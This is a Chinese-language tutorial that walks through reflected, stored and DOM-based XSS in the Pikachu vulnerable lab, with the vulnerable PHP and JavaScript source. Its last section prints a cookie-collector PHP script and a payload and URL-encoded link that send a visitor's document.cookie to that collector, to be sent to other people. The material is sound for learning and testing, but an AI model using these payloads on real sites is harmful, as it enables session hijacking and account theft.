文章目录
XSS
一.XSS概述
- XSS是发生在Web前端的漏洞,所以其危害对象主要是前端用户
- XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
-图片来自i春秋 - 漏洞形成原因:形成XSS漏洞的主要原因是程序对输入和输出的控制不严格,导致构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
二.XSS漏洞测试流程
- 在目标站点上找到输入点,比如查询口,留言板;
- 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
- 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件;
- 提交构造脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
三.XSS注入实例
3.1反射性XSS
3.1.1概述
- 反射性XSS攻击正常是一次性的
- 攻击方式:攻击者通过邮件等方式将包含XSS恶意代码的链接发给目标用户。当目标用户访问时触发漏洞
3.1.2攻击实例
- 首先输入特殊字符和唯一识别字符 '"pikachuchuchu 提交
- 接着查看页面源码,看看是否进行了处理,很明显并没有
- 尝试构造payload进行xss攻击
<script>alert('What can I say?Mamba out')</script>
- 这里要注意前端在字符串输入中对字符长度有限制F12改一下即可,看一下攻击效果
- 代码分析:对得到数据没有任何处理所以直接写js代码即可
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
3.2存储性XSS
3.2.1概述
- 功能:获取用户输入的留言信息,标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面
- 因为其会从数据库中获取留言信息并输出到页面,所以这种攻击是持久性的
3.2.2 注入实例
- 类似与反射性的XSS 输入识别字符加特殊符号查看是否被处理过
- 这道题也是没有被处理过的
- 我输入的payload是
- 效果:每次访问都会出现这个弹窗
- 源码分析:从数据库里读取出来后没有经过任何处理所以存在xss漏洞
<div id="show_message">
<br />
<br />
<p class="line">留言列表:</p>
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}
echo $html;
3.3DOM型XSS
3.3.1概述
- 功能:在输入框输入信息并确定后,页面会将“这里会显示输入的内容”替换为输入的信息 w3cscholl的实例
<html>
<head>
<script type="text/javascript">
function getValue()
{
var x=document.getElementById("myHeader")
alert(x.innerHTML)
}
</script>
</head>
<body>
<h1 id="myHeader" onclick="getValue()">这是标题</h1>
<p>点击标题,会提示出它的值。</p>
</body>
</html>
3.3.2攻击实例
- 源码分析
- 我们在文本框里输入的文字会被传入到str中,接下来会进行字符串的拼接"what do you see?";并将其作为id为dom的html内容
- 如果我们正常输入一个网址,例如https://www.bilibili.com/
- 我们点击what do you see?则会访问到这个页面
- 同样我们也可进行xss攻击,这里和前面不一样的地方在于我们需要构造闭合
<a href='"+str+"'>what do you see?</a>
我们可以构造为 <a href='' onclick=alert(1111)>'>what do you see?</a>
输入框里的内容为:' οnclick=alert(11111)>
效果如下:
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" οnclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
3.4Cookie获取
- pikachu环境下xss获取cookie的源码
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu-master/index.php");//重定向到一个可信的网站
?>
- 在反射性xss中输入js的代码
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
- 页面将会被重新访问到源码中重定向的网站,此时你在访问之前页面的cookie已经被获取了
- 可以利用刚刚访问时候的URL
?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
发送给别人别人访问时候获取别人的cookie